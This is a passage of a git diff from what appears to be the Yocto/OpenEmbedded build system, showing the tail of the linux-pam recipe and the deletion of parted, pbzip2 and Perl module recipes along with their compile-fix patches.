79 ${MLPREFIX}pam-plugin-pwhistory-${libpam_suffix} \
80 ${MLPREFIX}pam-plugin-succeed-if-${libpam_suffix} \
81 ${MLPREFIX}pam-plugin-time-${libpam_suffix} \
82 bash coreutils"
83
84# FIXME: Native suffix breaks here, disable it for now
85RRECOMMENDS:${PN} = "${PN}-runtime-${libpam_suffix}"
86RRECOMMENDS:${PN}:class-native = ""
87
88python populate_packages:prepend () {
89 def pam_plugin_hook(file, pkg, pattern, format, basename):
90 pn = d.getVar('PN')
91 libpam_suffix = d.getVar('libpam_suffix')
92
93 rdeps = d.getVar('RDEPENDS:' + pkg)
94 if rdeps:
95 rdeps = rdeps + " " + pn + "-" + libpam_suffix
96 else:
97 rdeps = pn + "-" + libpam_suffix
98 d.setVar('RDEPENDS:' + pkg, rdeps)
99
100 provides = d.getVar('RPROVIDES:' + pkg)
101 if provides:
102 provides = provides + " " + pkg + "-" + libpam_suffix
103 else:
104 provides = pkg + "-" + libpam_suffix
105 d.setVar('RPROVIDES:' + pkg, provides)
106
107 mlprefix = d.getVar('MLPREFIX') or ''
108 dvar = d.expand('${WORKDIR}/package')
109 pam_libdir = d.expand('${base_libdir}/security')
110 pam_sbindir = d.expand('${sbindir}')
111 pam_filterdir = d.expand('${base_libdir}/security/pam_filter')
112 pam_pkgname = mlprefix + 'pam-plugin%s'
113
114 do_split_packages(d, pam_libdir, r'^pam(.*)\.so$', pam_pkgname,
115 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='', prepend=True)
116 do_split_packages(d, pam_filterdir, r'^(.*)$', 'pam-filter-%s', 'PAM filter for %s', extra_depends='')
117}
118
119do_install:append() {
120 # don't install /var/run when populating rootfs. Do it through volatile
121 rm -rf ${D}${localstatedir}
122
123 if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','false','true',d)}; then
124 rm -rf ${D}${sysconfdir}/init.d/
125 rm -rf ${D}${sysconfdir}/rc*
126 install -d ${D}${nonarch_libdir}/tmpfiles.d
127 install -m 0644 ${UNPACKDIR}/pam-volatiles.conf \
128 ${D}${nonarch_libdir}/tmpfiles.d/pam.conf
129 else
130 install -d ${D}${sysconfdir}/default/volatiles
131 install -m 0644 ${UNPACKDIR}/99_pam \
132 ${D}${sysconfdir}/default/volatiles/
133 fi
134
135 install -d ${D}${sysconfdir}/pam.d/
136 install -m 0644 ${UNPACKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/
137
138 # The lsb requires unix_chkpwd has setuid permission
139 chmod 4755 ${D}${sbindir}/unix_chkpwd
140
141 if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
142 echo "session optional pam_systemd.so" >> ${D}${sysconfdir}/pam.d/common-session
143 fi
144}
145
146do_install_ptest() {
147 mkdir -p ${D}${PTEST_PATH}/tests
148 find ${B}/tests -maxdepth 1 -type f -exec cp {} ${D}${PTEST_PATH}/tests \;
149 install -m 0644 ${S}/tests/confdir ${D}${PTEST_PATH}/tests
150}
151
152pkg_postinst:${PN}() {
153 if [ -z "$D" ] && [ -e /etc/init.d/populate-volatile.sh ] ; then
154 /etc/init.d/populate-volatile.sh update
155 fi
156}
157
158inherit features_check
159ANY_OF_DISTRO_FEATURES = "pam systemd"
160
161BBCLASSEXTEND = "nativesdk native"
162
163CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session"
164CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-auth"
165CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-password"
166CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive"
167CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-account"
168CONFFILES:${PN}-runtime += "${sysconfdir}/security/limits.conf"
169
170GITHUB_BASE_URI = "https://github.com/linux-pam/linux-pam/releases"
171
172CVE_PRODUCT = "linux-pam"
diff --git a/meta/recipes-extended/parted/files/0001-bug-74444-PATCH-parted-fix-do_version-declaration.patch b/meta/recipes-extended/parted/files/0001-bug-74444-PATCH-parted-fix-do_version-declaration.patch
deleted file mode 100644
index a8ea7ec4f7..0000000000
--- a/meta/recipes-extended/parted/files/0001-bug-74444-PATCH-parted-fix-do_version-declaration.patch
+++ /dev/null
@@ -1,40 +0,0 @@
1From eb6bb2e8dfc78ca1a187d07ea29b23a805c61794 Mon Sep 17 00:00:00 2001
2From: Rudi Heitbaum <rudi@heitbaum.com>
3Date: Wed, 20 Nov 2024 12:22:22 +0000
4Subject: [PATCH] bug#74444: [PATCH] parted: fix do_version declaration
5
6With gcc 15-20241117 compile fails with the below error, update the
7do_version declaration to match the header in command.h
8
9../../parted/parted.c: In function '_init_commands':
10../../parted/parted.c:2469:9: error: passing argument 2 of 'command_create' from incompatible pointer type [-Wincompatible-pointer-types]
11 2469 | do_version,
12 | ^~~~~~~~~~
13 | |
14 | int (*)(void)
15In file included from ../../parted/parted.c:28:
16../../parted/command.h:35:39: note: expected 'int (*)(PedDevice **, PedDisk **)' {aka 'int (*)(struct _PedDevice **, struct _PedDisk **)'} but argument is of type 'int (*)(void)'
17 35 | int (*method) (PedDevice** dev, PedDisk** diskp),
18 | ~~~~~~^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
19
20Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/parted.git/commit/?id=16343bda6ce0d41edf43f8dac368db3bbb63d271]
21Signed-off-by: Rudi Heitbaum <rudi@heitbaum.com>
22Signed-off-by: Brian C. Lane <bcl@redhat.com>
23Signed-off-by: Khem Raj <raj.khem@gmail.com>
24---
25 parted/parted.c | 2 +-
26 1 file changed, 1 insertion(+), 1 deletion(-)
27
28diff --git a/parted/parted.c b/parted/parted.c
29index 3abb52f..fc2aeba 100644
30--- a/parted/parted.c
31+++ b/parted/parted.c
32@@ -2172,7 +2172,7 @@ do_unit (PedDevice** dev, PedDisk** diskp)
33 }
34
35 static int
36-do_version ()
37+do_version (PedDevice** dev, PedDisk** diskp)
38 {
39 printf ("\n%s\n%s",
40 prog_name,
diff --git a/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch b/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch
deleted file mode 100644
index 10354f1ed9..0000000000
--- a/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch
+++ /dev/null
@@ -1,34 +0,0 @@
1From 1fc88332f7e906294fd889287b9e84cefc7f1586 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Mon, 12 Jun 2023 10:40:07 -0700
4Subject: [PATCH] fs: Add libuuid to linker flags for libparted-fs-resize
5 library
6
7This library uses uuid_generate function which comes from libuuid and
8hence it should be mentioned on linker cmdline
9
10fixes
11| aarch64-yoe-linux-ld.lld: error: undefined reference due to --no-allow-shlib-undefined: uuid_generate
12| >>> referenced by /mnt/b/yoe/master/build/tmp/work/cortexa72-cortexa53-crypto-yoe-linux/fatresize/1.1.0-r0/recipe-sysroot/usr/lib/libparted-fs-resize.so
13
14Upstream-Status: Submitted [https://alioth-lists.debian.net/pipermail/parted-devel/2023-June/005873.html]
15Signed-off-by: Khem Raj <raj.khem@gmail.com>
16---
17 libparted/fs/Makefile.am | 1 +
18 1 file changed, 1 insertion(+)
19
20diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
21index 2f345f3..a8970eb 100644
22--- a/libparted/fs/Makefile.am
23+++ b/libparted/fs/Makefile.am
24@@ -75,6 +75,7 @@ libparted_fs_resize_la_LDFLAGS = \
25 EXTRA_DIST += fsresize.sym
26 libparted_fs_resize_la_DEPENDENCIES = $(sym_file)
27
28+libparted_fs_resize_la_LIBADD = $(UUID_LIBS)
29 libparted_fs_resize_la_SOURCES = \
30 r/filesys.c \
31 r/fat/bootsector.c \
32--
332.41.0
34
diff --git a/meta/recipes-extended/parted/files/autoconf-2.73.patch b/meta/recipes-extended/parted/files/autoconf-2.73.patch
deleted file mode 100644
index 63dea88bfc..0000000000
--- a/meta/recipes-extended/parted/files/autoconf-2.73.patch
+++ /dev/null
@@ -1,22 +0,0 @@
1The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
2than the full code:
3
4https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
5
6Just tweak the exiting code to work with 2.73. The next parted upgrade should
7update to new gnulib
8
9Upstream-Status: Inappropriate
10Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
11
12--- a/m4/largefile.m4
13+++ b/m4/largefile.m4
14@@ -27,7 +27,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
15 # Work around a problem in autoconf <= 2.69:
16 # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
17 # or configures them incorrectly in some cases.
18-m4_version_prereq([2.70], [], [
19+m4_version_prereq([2.73], [], [
20
21 # _AC_SYS_LARGEFILE_TEST_INCLUDES
22 # -------------------------------
diff --git a/meta/recipes-extended/parted/files/fix-doc-mandir.patch b/meta/recipes-extended/parted/files/fix-doc-mandir.patch
deleted file mode 100644
index 0711d4e297..0000000000
--- a/meta/recipes-extended/parted/files/fix-doc-mandir.patch
+++ /dev/null
@@ -1,20 +0,0 @@
1Upstream-Status: Submitted [bug-parted@gnu.org]
2
3| for po in `ls -1 ./*.pt_BR.po 2>/dev/null`; do \
4| make $(basename ${po%.pt_BR.po}); \
5| done
6| Makefile:904: *** Recursive variable `mandir' references itself (eventually). Stop.
7
8Signed-off-by: Andreas Oberritter <obi@opendreambox.org>
9
10--- parted-3.1/doc/po4a.mk.orig 2012-03-15 14:09:11.555831872 +0100
11+++ parted-3.1/doc/po4a.mk 2012-03-15 14:10:44.243830985 +0100
12@@ -23,7 +23,7 @@
13 # threshold is 80%), it won't be distributed, and the build won't fail.
14 #
15
16-mandir = $(mandir)/$(lang)
17+mandir := $(mandir)/$(lang)
18
19 # Inform automake that we want to install some man pages in section 1, 5
20 # and 8.
diff --git a/meta/recipes-extended/parted/files/run-ptest b/meta/recipes-extended/parted/files/run-ptest
deleted file mode 100644
index 096078967f..0000000000
--- a/meta/recipes-extended/parted/files/run-ptest
+++ /dev/null
@@ -1,7 +0,0 @@
1#!/bin/sh
2
3mkdir -p /etc/udev/mount.ignorelist.d
4echo /dev/sda1 >> /etc/udev/mount.ignorelist.d/parted-tmp
5rm -f tests/*.log
6make -C tests test-suite.log
7rm /etc/udev/mount.ignorelist.d/parted-tmp
diff --git a/meta/recipes-extended/parted/parted_3.6.bb b/meta/recipes-extended/parted/parted_3.6.bb
deleted file mode 100644
index 6fc2cb3b3a..0000000000
--- a/meta/recipes-extended/parted/parted_3.6.bb
+++ /dev/null
@@ -1,65 +0,0 @@
1SUMMARY = "Disk partition editing/resizing utility"
2HOMEPAGE = "http://www.gnu.org/software/parted/parted.html"
3DESCRIPTION = "GNU Parted manipulates partition tables. This is useful for creating space for new operating systems, reorganizing disk usage, copying data on hard disks and disk imaging."
4LICENSE = "GPL-3.0-or-later"
5LIC_FILES_CHKSUM = "file://COPYING;md5=2f31b266d3440dd7ee50f92cf67d8e6c"
6SECTION = "console/tools"
7DEPENDS = "ncurses util-linux virtual/libiconv"
8
9SRC_URI = "${GNU_MIRROR}/parted/parted-${PV}.tar.xz \
10 file://fix-doc-mandir.patch \
11 file://0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch \
12 file://autoconf-2.73.patch \
13 file://0001-bug-74444-PATCH-parted-fix-do_version-declaration.patch \
14 file://run-ptest \
15 "
16
17SRC_URI[sha256sum] = "3b43dbe33cca0f9a18601ebab56b7852b128ec1a3df3a9b30ccde5e73359e612"
18
19inherit autotools pkgconfig gettext texinfo ptest
20
21PACKAGECONFIG ?= "readline"
22PACKAGECONFIG[device-mapper] = "--enable-device-mapper,--disable-device-mapper,libdevmapper lvm2"
23PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
24
25BBCLASSEXTEND = "native nativesdk"
26
27do_compile_ptest() {
28 oe_runmake -C tests print-align print-max dup-clobber duplicate fs-resize print-flags
29}
30
31do_install_ptest() {
32 t=${D}${PTEST_PATH}
33 mkdir $t/build-aux
34 cp ${S}/build-aux/test-driver $t/build-aux/
35 cp -r ${S}/tests $t
36 cp ${B}/tests/Makefile $t/tests/
37 mkdir $t/lib
38 cp ${B}/lib/config.h $t/lib
39 sed -e "s|^VERSION.*|VERSION = ${PV}|g" \
40 -e "s|^srcdir =.*|srcdir = \.|g" \
41 -e "s|^abs_srcdir =.*|abs_srcdir = \.|g" \
42 -e "s|^abs_top_srcdir =.*|abs_top_srcdir = "${PTEST_PATH}"|g" \
43 -e "s|^abs_top_builddir =.*|abs_top_builddir = "${PTEST_PATH}"|g" \
44 -e "/^SH_LOG_DRIVER =/s|(top_srcdir)|(top_builddir)|" \
45 -e "s|^Makefile:.*|Makefile:|g" \
46 -e "/^BUILDINFO.*$/d" \
47 -i $t/tests/Makefile
48 for i in print-align print-max print-flags dup-clobber duplicate fs-resize; \
49 do cp ${B}/tests/.libs/$i $t/tests/; \
50 done
51 sed -e 's| ../parted||' -i $t/tests/*.sh
52}
53
54RDEPENDS:${PN}-ptest = "bash coreutils perl util-linux-losetup util-linux-mkswap python3 make gawk e2fsprogs-mke2fs e2fsprogs-tune2fs python3-core dosfstools"
55RRECOMMENDS:${PN}-ptest += "kernel-module-scsi-debug kernel-module-loop kernel-module-vfat"
56RDEPENDS:${PN}-ptest:append:libc-glibc = "\
57 glibc-utils \
58 locale-base-en-us \
59 "
60
61inherit update-alternatives
62
63ALTERNATIVE_PRIORITY = "100"
64ALTERNATIVE:${PN} = "partprobe"
65ALTERNATIVE_LINK_NAME[partprobe] = "${sbindir}/partprobe"
diff --git a/meta/recipes-extended/pbzip2/pbzip2/0001-Do-not-rely-on-std-char_traits-template-from-stdlib.patch b/meta/recipes-extended/pbzip2/pbzip2/0001-Do-not-rely-on-std-char_traits-template-from-stdlib.patch
deleted file mode 100644
index 21c9145a1a..0000000000
--- a/meta/recipes-extended/pbzip2/pbzip2/0001-Do-not-rely-on-std-char_traits-template-from-stdlib.patch
+++ /dev/null
@@ -1,116 +0,0 @@
1From c9f1af117557ad5d75df9e37bf3fbb1185f67de2 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Fri, 18 Jul 2025 10:26:06 -0700
4Subject: [PATCH] Do not rely on std::char_traits template from stdlib
5
6standard never required the base template for
7char_traits to any type but it was given for
8convenience purposes. Nowadays, at least in LLVM's
9libcxx version 19+ it got removed [1].
10
11GCC might follow the same path at some point so
12porting it away from char_traits might be a good
13idea.
14
15The fix is applied to FreeBSD [2] [3]
16
17Reported issue [4]
18
19[1] https://reviews.llvm.org/D138307
20[2] https://cgit.freebsd.org/ports/commit/archivers/pbzip2/files/patch-BZ2StreamScanner.cpp?id=29c80f114ea6cc60be39502339572af8c35ac440
21[3] https://cgit.freebsd.org/ports/commit/archivers/pbzip2/files/patch-BZ2StreamScanner.cpp?id=89f872ec2ccf488f24cd9daca2e0d1f80e7ee429
22[4] https://github.com/ruanhuabin/pbzip2/issues/1
23
24Upstream-Status: Inactive-Upstream [lastcommit: 2015-12-17]
25
26Signed-off-by: Khem Raj <raj.khem@gmail.com>
27---
28 BZ2StreamScanner.cpp | 21 +++++++++++----------
29 BZ2StreamScanner.h | 6 +++---
30 2 files changed, 14 insertions(+), 13 deletions(-)
31
32diff --git a/BZ2StreamScanner.cpp b/BZ2StreamScanner.cpp
33index a134712..f32a321 100644
34--- a/BZ2StreamScanner.cpp
35+++ b/BZ2StreamScanner.cpp
36@@ -42,15 +42,15 @@ int BZ2StreamScanner::init( int hInFile, size_t inBuffCapacity )
37 {
38 dispose();
39
40- CharType bz2header[] = "BZh91AY&SY";
41- // zero-terminated string
42+ CharType bz2header[] =
43+ { 'B', 'Z', 'h', '9', '1', 'A', 'Y', '&', 'S', 'Y' };
44 CharType bz2ZeroHeader[] =
45- { 'B', 'Z', 'h', '9', 0x17, 0x72, 0x45, 0x38, 0x50, 0x90, 0 };
46+ { 'B', 'Z', 'h', '9', 0x17, 0x72, 0x45, 0x38, 0x50, 0x90 };
47
48 _hInFile = hInFile;
49 _eof = false;
50- _bz2Header = bz2header;
51- _bz2HeaderZero = bz2ZeroHeader;
52+ _bz2Header.assign(begin(bz2header), end(bz2header));
53+ _bz2HeaderZero.assign(begin(bz2ZeroHeader), end(bz2ZeroHeader));
54 _bz2HeaderFound = false;
55 _inBuffCapacity = 0;
56 _errState = 0;
57@@ -361,7 +361,7 @@ BZ2StreamScanner::CharType * BZ2StreamScanner::locateHeaderPrefixInBuff()
58 _errState |= ERR_INVALID_FILE_FORMAT;
59 _inBuffSearchPtr = getInBuffEnd();
60 }
61- else if ( _bz2Header.compare( 0, prefixLen, getInBuffSearchPtr(), prefixLen ) == 0 )
62+ else if ( equal( _bz2Header.begin(), _bz2Header.begin() + prefixLen, getInBuffSearchPtr() ) )
63 {
64 // header prefix found
65 }
66@@ -416,7 +416,7 @@ BZ2StreamScanner::CharType * BZ2StreamScanner::searchNextHeaderInBuff()
67 while ( !failed() && ( getUnsearchedCount() >= getHeaderSize() ) )
68 {
69 // _inBuffSearchPtr += prefixLen;
70- basic_string<CharType> * pHdr = NULL;
71+ vector<CharType> * pHdr = NULL;
72
73 if ( getInBuffSearchPtr()[hsp] == _bz2Header[hsp] )
74 {
75@@ -441,13 +441,14 @@ BZ2StreamScanner::CharType * BZ2StreamScanner::searchNextHeaderInBuff()
76 (*pHdr)[prefixLen] = bwtSizeChar;
77
78 // compare the remaining part of magic header
79- int cmpres = pHdr->compare( hsp, pHdr->size() - hsp,
80- getInBuffSearchPtr() + hsp, pHdr->size() - hsp );
81+ bool cmpres = equal( pHdr->begin() + hsp, pHdr->end(),
82+ getInBuffSearchPtr() + hsp );
83+
84
85 #ifdef PBZIP_DEBUG
86 fprintf( stderr, " searchNextHeaderInBuff:cmpres=%d\n", cmpres );
87 #endif
88- if ( cmpres == 0 )
89+ if ( cmpres )
90 {
91 _searchStatus = true;
92 #ifdef PBZIP_DEBUG
93diff --git a/BZ2StreamScanner.h b/BZ2StreamScanner.h
94index d3729fe..32697cb 100644
95--- a/BZ2StreamScanner.h
96+++ b/BZ2StreamScanner.h
97@@ -44,7 +44,7 @@ public:
98
99 size_t getInBuffSize() const { return ( _inBuffEnd - _inBuff ); }
100 size_t getInBuffCapacity() const { return _inBuffCapacity; }
101- const basic_string<CharType> & getHeader() const { return _bz2Header; }
102+ const vector<CharType> & getHeader() const { return _bz2Header; }
103 size_t getHeaderSize() const { return _bz2Header.size(); }
104 int getErrState() const { return _errState; }
105 bool failed() { return ( _errState != 0 ); }
106@@ -125,8 +125,8 @@ private:
107 int _hInFile; // input file descriptor
108 bool _eof;
109
110- basic_string<CharType> _bz2Header;
111- basic_string<CharType> _bz2HeaderZero;
112+ vector<CharType> _bz2Header;
113+ vector<CharType> _bz2HeaderZero;
114 bool _bz2HeaderFound;
115 bool _searchStatus;
116
diff --git a/meta/recipes-extended/pbzip2/pbzip2/0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch b/meta/recipes-extended/pbzip2/pbzip2/0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch
deleted file mode 100644
index 8fc377c31b..0000000000
--- a/meta/recipes-extended/pbzip2/pbzip2/0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch
+++ /dev/null
@@ -1,73 +0,0 @@
1From de4a948d356c9befb88c796168e97eb05b9a3385 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Mon, 23 Apr 2018 22:54:42 -0700
4Subject: [PATCH] pbzip2: Fix invalid suffix on literal C++11 warning
5
6Fixes -Wreserved-user-defined-literal] errors.
7Also reported in launchpad here https://bugs.launchpad.net/pbzip2/+bug/1746369
8
9Upstream-Status: Submitted [https://launchpadlibrarian.net/355230152/pbzip2.patch]
10
11Signed-off-by: Khem Raj <raj.khem@gmail.com>
12---
13 pbzip2.cpp | 12 ++++++------
14 1 file changed, 6 insertions(+), 6 deletions(-)
15
16diff --git a/pbzip2.cpp b/pbzip2.cpp
17index 66ca978..4287ea7 100644
18--- a/pbzip2.cpp
19+++ b/pbzip2.cpp
20@@ -1220,7 +1220,7 @@ int producer_decompress(int hInfile, OFF_T fileSize, queue *fifo)
21 // give warning to user if block is larger than 250 million bytes
22 if (fileData->bufSize > 250000000)
23 {
24- fprintf(stderr, "pbzip2: *WARNING: Compressed block size is large [%"PRIuMAX" bytes].\n",
25+ fprintf(stderr, "pbzip2: *WARNING: Compressed block size is large [%" PRIuMAX " bytes].\n",
26 (uintmax_t) fileData->bufSize);
27 fprintf(stderr, " If program aborts, use regular BZIP2 to decompress.\n");
28 }
29@@ -1829,7 +1829,7 @@ void *fileWriter(void *outname)
30
31 if (QuietMode != 1)
32 {
33- fprintf(stderr, " Output Size: %"PRIuMAX" bytes\n", (uintmax_t)CompressedSize);
34+ fprintf(stderr, " Output Size: %" PRIuMAX " bytes\n", (uintmax_t)CompressedSize);
35 }
36
37 #ifdef PBZIP_DEBUG
38@@ -2072,7 +2072,7 @@ int directcompress(int hInfile, OFF_T fileSize, int blockSize, const char *OutFi
39 close(hOutfile);
40 if (QuietMode != 1)
41 {
42- fprintf(stderr, " Output Size: %"PRIuMAX" bytes\n", (uintmax_t)CompressedSize);
43+ fprintf(stderr, " Output Size: %" PRIuMAX " bytes\n", (uintmax_t)CompressedSize);
44 }
45
46 syncSetProducerDone(1); // Not really needed for direct version
47@@ -2794,7 +2794,7 @@ void outputBufferInit(size_t size)
48 // unlikely to get here since more likely exception will be thrown
49 if (OutputBuffer.size() != size)
50 {
51- fprintf(stderr, "pbzip2: *ERROR: Could not initialize (OutputBuffer); size=%"PRIuMAX"! Aborting...\n", (uintmax_t)size);
52+ fprintf(stderr, "pbzip2: *ERROR: Could not initialize (OutputBuffer); size=%" PRIuMAX "! Aborting...\n", (uintmax_t)size);
53 safe_mutex_unlock(OutMutex);
54 exit(1);
55 }
56@@ -4102,7 +4102,7 @@ int main(int argc, char* argv[])
57 if (decompress == 1)
58 fprintf(stderr, " BWT Block Size: %c00k\n", BWTblockSizeChar);
59 if (hasInFile)
60- fprintf(stderr, " Input Size: %"PRIuMAX" bytes\n", (uintmax_t)InFileSize);
61+ fprintf(stderr, " Input Size: %" PRIuMAX " bytes\n", (uintmax_t)InFileSize);
62 }
63
64 if (decompress == 1)
65@@ -4224,7 +4224,7 @@ int main(int argc, char* argv[])
66 {
67 NumBufferedBlocksMax = numCPU;
68 if (QuietMode != 1)
69- fprintf(stderr, "*Warning* Max memory limit increased to %"PRIuMAX" MB to support %d CPUs\n", (uintmax_t)((NumBufferedBlocksMax + (numCPU * 2)) * blockSize)/1000000, numCPU);
70+ fprintf(stderr, "*Warning* Max memory limit increased to %" PRIuMAX " MB to support %d CPUs\n", (uintmax_t)((NumBufferedBlocksMax + (numCPU * 2)) * blockSize)/1000000, numCPU);
71 }
72 else
73 {
diff --git a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
deleted file mode 100644
index 063f600ba9..0000000000
--- a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
+++ /dev/null
@@ -1,31 +0,0 @@
1SUMMARY = "PBZIP2 is a parallel implementation of bzip2"
2DESCRIPTION = "PBZIP2 is a parallel implementation of the bzip2 block-sorting \
3file compressor that uses pthreads and achieves near-linear speedup on SMP \
4machines. The output of this version is fully compatible with bzip2 v1.0.2 or \
5newer (ie: anything compressed with pbzip2 can be decompressed with bzip2)."
6HOMEPAGE = "https://launchpad.net/pbzip2/"
7SECTION = "console/utils"
8LICENSE = "bzip2-1.0.6"
9LIC_FILES_CHKSUM = "file://COPYING;md5=398b8832c6f840cfebd20ab2be6a3743"
10
11DEPENDS = "bzip2"
12DEPENDS:append:class-native = " bzip2-replacement-native"
13
14SRC_URI = "https://launchpad.net/${BPN}/1.1/${PV}/+download/${BP}.tar.gz \
15 file://0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch \
16 file://0001-Do-not-rely-on-std-char_traits-template-from-stdlib.patch \
17 "
18
19SRC_URI[sha256sum] = "8fd13eaaa266f7ee91f85c1ea97c86d9c9cc985969db9059cdebcb1e1b7bdbe6"
20
21UPSTREAM_CHECK_URI = "https://launchpad.net/pbzip2/+milestones"
22UPSTREAM_CHECK_REGEX = "pbzip2 (?P<pver>\d+(\.\d+)+)"
23
24EXTRA_OEMAKE = "CXX='${CXX} ${CXXFLAGS}' LDFLAGS='${LDFLAGS}'"
25
26do_install() {
27 install -d ${D}${bindir}
28 install -m 0755 pbzip2 ${D}${bindir}/
29}
30
31BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb
deleted file mode 100644
index 7e167d6e67..0000000000
--- a/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb
+++ /dev/null
@@ -1,22 +0,0 @@
1SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library"
2SECTION = "libs"
3HOMEPAGE = "http://search.cpan.org/dist/Convert-ASN1/"
4DESCRIPTION = "Convert::ASN1 is a perl library for encoding/decoding data using ASN.1 definitions."
5LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
6LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f"
7
8SRC_URI = "https://cpan.metacpan.org/authors/id/T/TI/TIMLEGGE/Convert-ASN1-${PV}.tar.gz"
9
10SRC_URI[sha256sum] = "a628d7c9d390568fb76359975fa03f626ce57f10dc17980e8e3587d7713e4ee7"
11
12S = "${UNPACKDIR}/Convert-ASN1-${PV}"
13
14inherit cpan ptest-perl
15
16EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
17
18RDEPENDS:${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 \
19 perl-module-socket perl-module-time-local perl-module-posix perl-module-scalar-util perl-module-test-more"
20RDEPENDS:${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc"
21
22BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
deleted file mode 100644
index 7f9f40d996..0000000000
--- a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
+++ /dev/null
@@ -1,20 +0,0 @@
1SUMMARY = "Perl modules useful for manipulating date and time information"
2HOMEPAGE = "https://metacpan.org/release/TimeDate"
3DESCRIPTION = "This is the perl5 TimeDate distribution. It requires perl version 5.003 or later."
4SECTION = "libs"
5# You can redistribute it and/or modify it under the same terms as Perl itself.
6LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
7LIC_FILES_CHKSUM = "file://README;beginline=21;md5=576b7cb41e5e821501a01ed66f0f9d9e"
8
9SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/TimeDate-${PV}.tar.gz"
10
11S = "${UNPACKDIR}/TimeDate-${PV}"
12
13inherit cpan ptest-perl
14
15BBCLASSEXTEND = "native"
16
17RDEPENDS:${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local"
18RDEPENDS:${PN}-ptest += "perl-module-test-more perl-module-utf8"
19
20SRC_URI[sha256sum] = "75bd254871cb5853a6aa0403ac0be270cdd75c9d1b6639f18ecba63c15298e86"
diff --git a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
deleted file mode 100644
index 9653cb427b..0000000000
--- a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
+++ /dev/null
@@ -1,26 +0,0 @@
1SUMMARY = "Perl module for supporting simple generic namespaces"
2HOMEPAGE = "http://veillard.com/XML/"
3DESCRIPTION = "XML::NamespaceSupport offers a simple way to process namespace-based XML names. \
4 It also helps maintain a prefix-to-namespace URI map, and provides a number of \
5 basic checks. "
6
7SECTION = "libs"
8LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
9
10SRCNAME = "XML-NamespaceSupport"
11
12LIC_FILES_CHKSUM = "file://LICENSE;md5=c9d8a117e7620b5adf8d69c29613ceab"
13
14SRC_URI = "${CPAN_MIRROR}/authors/id/P/PE/PERIGRIN/${SRCNAME}-${PV}.tar.gz"
15SRC_URI[sha256sum] = "47e995859f8dd0413aa3f22d350c4a62da652e854267aa0586ae544ae2bae5ef"
16
17UPSTREAM_CHECK_REGEX = "XML\-NamespaceSupport\-(?P<pver>(\d+\.\d+))(?!_\d+).tar"
18
19S = "${UNPACKDIR}/${SRCNAME}-${PV}"
20
21inherit cpan ptest-perl
22
23RDEPENDS:${PN}-ptest += "perl-module-test-more"
24
25BBCLASSEXTEND = "native nativesdk"
26
diff --git a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
deleted file mode 100644
index 8d97e95e83..0000000000
--- a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
+++ /dev/null
@@ -1,25 +0,0 @@
1SUMMARY = "Base class SAX Drivers and Filters"
2HOMEPAGE = "http://search.cpan.org/dist/XML-SAX-Base/"
3DESCRIPTION = "This module has a very simple task - to be a base class for \
4PerlSAX drivers and filters. It's default behaviour is to pass \
5the input directly to the output unchanged. It can be useful to \
